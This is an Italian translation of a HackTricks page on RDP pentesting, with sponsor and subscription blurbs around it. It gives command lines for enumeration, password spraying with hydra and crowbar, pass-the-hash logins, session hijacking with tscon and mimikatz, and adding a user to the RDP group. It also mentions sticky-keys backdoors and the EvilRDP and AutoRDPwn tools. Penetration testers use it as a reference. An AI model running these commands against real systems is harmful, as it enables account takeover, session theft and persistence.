9.6 KiB
3389 - Test di penetrazione RDP
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
{% embed url="https://pentest-tools.com/" %}
Informazioni di base
Sviluppato da Microsoft, il Remote Desktop Protocol (RDP) è progettato per consentire una connessione dell'interfaccia grafica tra computer su una rete. Per stabilire tale connessione, il software client RDP è utilizzato dall'utente e contemporaneamente il computer remoto deve operare con il software server RDP. Questa configurazione consente il controllo e l'accesso senza soluzione di continuità dell'ambiente desktop di un computer remoto, portando essenzialmente la sua interfaccia al dispositivo locale dell'utente.
Porta predefinita: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumerazione
Automatico
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Controlla la crittografia disponibile e la vulnerabilità DoS (senza causare DoS al servizio) e ottiene informazioni su Windows NTLM (versioni).
Brute force
Fai attenzione, potresti bloccare gli account
Password Spraying
Fai attenzione, potresti bloccare gli account
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Connettersi con credenziali/hash conosciuti
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Verifica delle credenziali conosciute contro i servizi RDP
rdp_check.py di impacket ti permette di verificare se alcune credenziali sono valide per un servizio RDP:
rdp_check <domain>/<name>:<password>@<IP>
Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
{% embed url="https://pentest-tools.com/" %}
Attacchi
Furto di sessione
Con permessi di SYSTEM puoi accedere a qualsiasi sessione RDP aperta da qualsiasi utente senza bisogno di conoscere la password del proprietario.
Ottieni sessioni aperte:
query user
Accesso alla sessione selezionata
tscon <ID> /dest:<SESSIONNAME>
Ora sarai all'interno della sessione RDP selezionata e dovrai impersonare un utente utilizzando solo gli strumenti e le funzionalità di Windows.
Importante: Quando accedi a sessioni RDP attive, disconnetterai l'utente che la stava utilizzando.
Potresti ottenere le password dal processo di dumping, ma questo metodo è molto più veloce e ti consente di interagire con i desktop virtuali dell'utente (password in notepad senza essere salvate su disco, altre sessioni RDP aperte su altre macchine...)
Mimikatz
Potresti anche utilizzare mimikatz per fare ciò:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Combinando questa tecnica con stickykeys o utilman sarai in grado di accedere a un CMD amministrativo e a qualsiasi sessione RDP in qualsiasi momento
Puoi cercare le RDP che sono state backdoorate con una di queste tecniche già con: https://github.com/linuz/Sticky-Keys-Slayer
Iniezione di Processi RDP
Se qualcuno da un dominio diverso o con migliori privilegi accede tramite RDP al PC dove sei un Amministratore, puoi iniettare il tuo beacon nel suo processo di sessione RDP e agire come lui:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Aggiunta di un Utente al Gruppo RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Strumenti Automatici
AutoRDPwn è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco Shadow sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di visualizzare il desktop della vittima senza il suo consenso, e persino controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.
- EvilRDP
- Controlla il mouse e la tastiera in modo automatizzato da riga di comando
- Controlla gli appunti in modo automatizzato da riga di comando
- Avvia un proxy SOCKS dal client che instrada la comunicazione di rete verso il target tramite RDP
- Esegui comandi SHELL e PowerShell arbitrari sul target senza caricare file
- Carica e scarica file da/per il target anche quando i trasferimenti di file sono disabilitati sul target
Comandi Automatici di HackTricks
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
{% embed url="https://pentest-tools.com/" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione esclusiva di NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di github.